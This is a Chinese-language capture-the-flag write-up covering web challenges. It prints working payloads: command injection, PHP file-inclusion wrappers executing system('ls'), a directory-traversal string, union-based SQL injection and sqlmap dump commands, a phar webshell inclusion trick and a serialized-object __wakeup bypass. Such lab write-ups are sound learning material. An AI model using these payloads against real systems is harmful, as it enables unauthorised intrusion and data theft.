date
Aug 5, 2021 12:02 PM
Related to 日程数据 1 (blog)
tags
slug
summary
icon
category
password
0x10 webshell
分析
典型的一句话木马

PHP提供4个专门的执行外部命令的函数:exec(), system(), passthru(), shell_exec()

本题有
system()
和passthru()
可用,查找flag
同路径?!!多玩一下

参考
0x11 command_execution1

127.0.0.1 && find / -name "flag*" 2>/dev/null
然后

0x06 weak_auth

0x12 simlpe_js
直接看源码
修改为

比较符 $a==$b 松散比较 === 完全等于 = 大于等于 != 如果类型转换后$a不等于$b,Ture !== 不完全等于,如果$a不等于$b或者它们类型不同,Ture 当php进行一些数学计算的时候,当有一个对比参数是整数的时候,会把另外一个参数强制转换为整数。 1 var_dump(0 == ‘0’); // true 2 var_dump(0 == ‘abcdefg’); // true 3 var_dump(0 === ‘abcdefg’); // false 4 var_dump(1 == ‘1abcdef’); // true * bool类型的true跟任意字符串可以弱类型相等 在某些情况下,PHP会把类数值数据(如含有数字的字符串等)转换成数值处理,== 运算符就是其中之一。在使用 == 运算符对两个字符串进行松散比较时,PHP会把类数值的字符串转换为数值进行比较,如果参数是字符串,则返回字符串中第一个不是数字的字符之前的数字串所代表的整数值。比如: ‘3’ == ‘3ascasd’结果为true。
以上为新手板块部分
开始高手进阶
0x03 php_rce
ThinkPHP官方2018年12月9日发布重要的安全更新,修复了一个严重的远程代码执行漏洞。该更新主要涉及一个安全更新,由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞,受影响的版本包括5.0和5.1版本,推荐尽快更新到最新版本。
网络查找到poc

参考
0x04 Web_php_include
strstr(): 定义和用法: 搜索字符串在另一个字符串中是否存在,如果是,返回字符串及剩余部分,否则返回false。 区分大小写,stristr()函数不区分大小写 语法: strstr(string,search,before_search) string:必需,被搜索的字符串 search:必需,要搜索的字符串,若是数字,则搜索对应的ASCII值的字符 before_search:可选,默认为“false”,若为true,将返回search参数第一次出现之前的字符串部分
文件包含 http://10.2.1.1:20770/index.php?page=upload 这种 url 很容易就能想到可能是文件包含或者伪协议读取 http://10.2.1.1:20770/index.php?page=php://filter/read=convert.base64-encode/resource=upload
str_replace(): 定义和用法: 以其它字符替换字符串中的一些字符(区分大小写) 语法: str_replace(find,replace,string,count) find,必需,要查找的值 replace,必需,要替换的值 string,必需,被搜索的字符串 count,可选,替换次数
文件包含要用的
php://
会被替换为空“”,怎么绕过呢?来两次呗,反正你只换一次。也可以用大写啊。?page=data://text/plain,<?php system("ls")?>

有了

还有其他的小知识:
常用伪协议用法: 1.php伪协议 用法 php://input,用于执行php代码,需要post请求提交数据。 php://filter,用于读取源码,get提交参数。?a=php://filter/read=convert.base64/resource=xxx.php 需要开启allow_url_fopen:php://input、php://stdin、php://memory、php://temp 不需要开启allow_url_fopen:php://filter 2.、data协议 用法: data://text/plain,xxxx(要执行的php代码) data://text/plain;base64,xxxx(base64编码后的数据) 例: ?page=data://text/plain, ?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpPz4= 3.、file协议 用法: file://[本地文件系统的绝对路径]
intval intval() 在转换的时候,会从字符串的开始进行转换直到遇到一个非数字的字符。即使出现无法转换的字符串,intval() 不会报错而是返回 0。 var_dump(intval('2')) // 2 var_dump(intval('3abcd')) // 3 var_dump(intval('abcd')) // 0
is_numeric PHP提供了is_numeric函数,用来变量判断是否为数字。但是函数的范围比较广泛,不仅仅是十进制的数字。 <?php echo is_numeric(233333); // 1 echo is_numeric('233333'); // 1 echo is_numeric(0x233333); // 1 echo is_numeric('0x233333'); // 1 echo is_numeric('233333abc'); // 0 ?>
in_array in_array函数用来判断一个值是否在某一个数组列表里面,通常判断方式如下: in_array('b', array('a', 'b', 'c');
hash 比较的问题 0e 开头且后面都是数字会被当作科学计数法,也就是等于 0*10^xxx=0。如果 md5 是以 0e 开头,在做比较的时候,可以用这种方法绕过。 // '0e5093234' 为 0,'0eabc3234' 不为 0 // true '0e509367213418206700842008763514' == '0e481036490867661113260034900752' // true '0e481036490867661113260034900752' == '0'
$$ 变量覆盖 如果把变量本身的 key 也当变量,也就是使用了 $$,就可能存在问题。 $_ = 'POST'; // $$ 是等于 $_POST
命令执行 反引号反引号
可以调用 shell_exec 正常执行代码$_GET['v']
相当于 shell_exec($_GET['v'])
phar:// 发现有一个文件上传功能,无法绕过,仅能上传jpg后缀的文件。与此同时,无法进行文件包含截断。allow_url_include=on 的状态下,就可以考虑phar伪协议绕过。 写一个shell.php文件,里面包含一句话木马。然后,压缩成xxx.zip。然后改名为xxx.jpg进行上传。最后使用phar进行包含 这里的路径为上传的 jpg 文件在服务器的路径 /index.php?id=phar://路径/xxx.jpg/shell
0x05 ICS-06

送分?应该是这里了
目录也扫不出来
sql注入点也找不到
这到底是啥 爆破id是我没想到的

0x06 warmup
看见啥就打开啥
so

and

分析一下代码
需要?file为字符串,运行函数emmm校验?file 通过后即可include
需要查查语法先
mb_strpos():返回要查找的字符串在别一个字符串中首次出现的位置 语法: mb_strpos (haystack ,needle )
mb_substr() 函数返回字符串的一部分,之前我们学过 substr() 函数,它只针对英文字符,如果要分割的中文文字则需要使用 mb_substr()。
构造payload: 0x01:首先构造?file=source.php,满足上述第一点 0x02:再构造?file=source.php?,满足上述第二点 0x03:接着构造?file=source.php%253f,满足上述第三点 (由于服务器会自动解码一次,所以在checkFile()中,$page的值一开始会是source.php%3f,urldecode解码后变成了source.php?,这次便符合了?前内容在白名单的要求,函数返回true) 0x04:最后通过目录穿越的到ffffllllaaaagggg里面的内容,也就是flag。 playload:?file=source.php%3f/../../../../ffffllllaaaagggg
4个ffff暗示目录穿越4层,你的小眼神我不太懂啊。
还你的😏😏😏😏😏😏😏😏😏😏😏😏😏😏😏😏😏😏😏😏😏😏😏😏😏😏😏😏😏😏😏😏😏😏😏😏😏😏😏😏
0x07 NewsCenter
网页啥都么有啊。扫扫看看呗。

嗯。看看。
发现是post请求 search=
0KB,也没文件包含,不对呀,试试sql注入,这种search大概率字符型 试试
'

找到回显位置,xx是为了清除搜到的news,#为注释

下下下一步:列
xx' union select 1,column_name,table_name from information_schema.columns where table_schema='news' #

换sqlmap 来一发
sqlmap -r post.txt -dbs
sqlmap -r post.txt -D news --tables
sqlmap -r post.txt -D news -T secret_table --columns
sqlmap -r post.txt -D news -T secret_table -C fl4g --dump

下一步:库

下下一步:表
xx' union select 1,table_schema,table_name from information_schema.columns where table_schema='news' #

结束
x' union select 1,fl4g,id from secret_table #
#
0x08 NaNNaNNaNNaN-Batman
代码审计!查代码语法,混乱的代码。还原代码,alert一下

手动格式化,大概可能是这样了
getElementById() 方法可返回对拥有指定 ID 的第一个对象的引用。 HTML DOM 定义了多种查找元素的方法,除了 getElementById() 之外,还有 getElementsByName() 和 getElementsByTagName()。 不过,如果您需要查找文档中的一个特定的元素,最有效的方法是 getElementById()。
从第三个位置开始删除数组后的两个元素: var fruits = ["Banana", "Orange", "Apple", "Mango"]; fruits.splice(2,2); fruits 输出结果: Banana,Orange
全局查找字符串 "ain",且不区分大小写: var str="The rain in SPAIN stays mainly in the plain"; var n=str.match(/ain/gi); n 输出结果: ain,AIN,ain,ain
代码不能执行了不能直接写结果了呀

直接console,它不香吗
0x09 php2
web啥也没有 目录扫描走一波

这个长度的文件,有情况
需要urldecode(?)=admin,浏览器自己也会url解码一次


0x0a unserialize3


知识点
5.1.2.4.1. CVE-2016-7124 在PHP 5.6.25 之前版本和 7.0.10 之前的版本,当对象的属性(变量)数大于实际的个数时, __wakeup() 不会被执行。
生成O:4:"xctf":1:{s:4:"flag";s:3:"111";}
解释一下吧,序列化是为了将对象转换为字符串存储。(因为无法直接存储对象)。 各参数代表的含义: O代表是一个对象: 4代表xctf类型的字符个数: xctf代表类型: {就是一个格式 s代表是字符串: 4代表flag属性的字符个数: flag代表对象的属性; s依旧代表字符串: 3代表flag属性值111的字符个数: 111代表flag属性的属性值; } 固定格式
O:4:"xctf":1:{s:4:"flag";s:3:"111";}改为O:4:"xctf":2:{s:4:"flag";s:3:"111";},绕过。


0x0b upload1
绕过本地图片验证


连一下马


0x0d Web_php_unserialize


- 作者:lea
- 链接:https://ofai.stream/01fac9ee75e9411f8956f0f569e5f935
- 声明:本文采用 CC BY-NC-SA 4.0 许可协议,转载请注明出处。